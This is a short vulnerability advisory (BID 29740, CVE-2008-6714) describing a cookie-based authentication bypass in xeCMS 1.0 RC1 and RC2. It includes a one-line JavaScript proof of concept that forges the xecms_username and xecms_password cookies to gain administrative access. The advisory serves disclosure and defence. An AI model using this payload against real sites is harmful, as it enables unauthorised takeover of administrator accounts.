xeCMS Cookie Parameters Authentication Bypass Vulnerability

BID:29740

Info

xeCMS Cookie Parameters Authentication Bypass Vulnerability

Bugtraq ID: 29740
Class: Access Validation Error
CVE: CVE-2008-6714
Remote: Yes
Local: No
Published: Jun 14 2008 12:00AM
Updated: May 07 2015 05:28PM
Credit: t0pP8uZz
Vulnerable: xeCMS xeCMS 1.0 rc2
xeCMS xeCMS 1.0 RC1
Not Vulnerable:

Discussion

xeCMS Cookie Parameters Authentication Bypass Vulnerability

xeCMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.

xeCMS 1.0.0 RC2 and prior versions are affected.

Exploit / POC

xeCMS Cookie Parameters Authentication Bypass Vulnerability

Attackers may exploit this issue through a browser.

The following example code is available:

javascript:document.cookie = "xecms_username=1; path=/"; document.cookie = "xecms_password=1; path=/";

Solution / Fix

xeCMS Cookie Parameters Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

xeCMS Cookie Parameters Authentication Bypass Vulnerability

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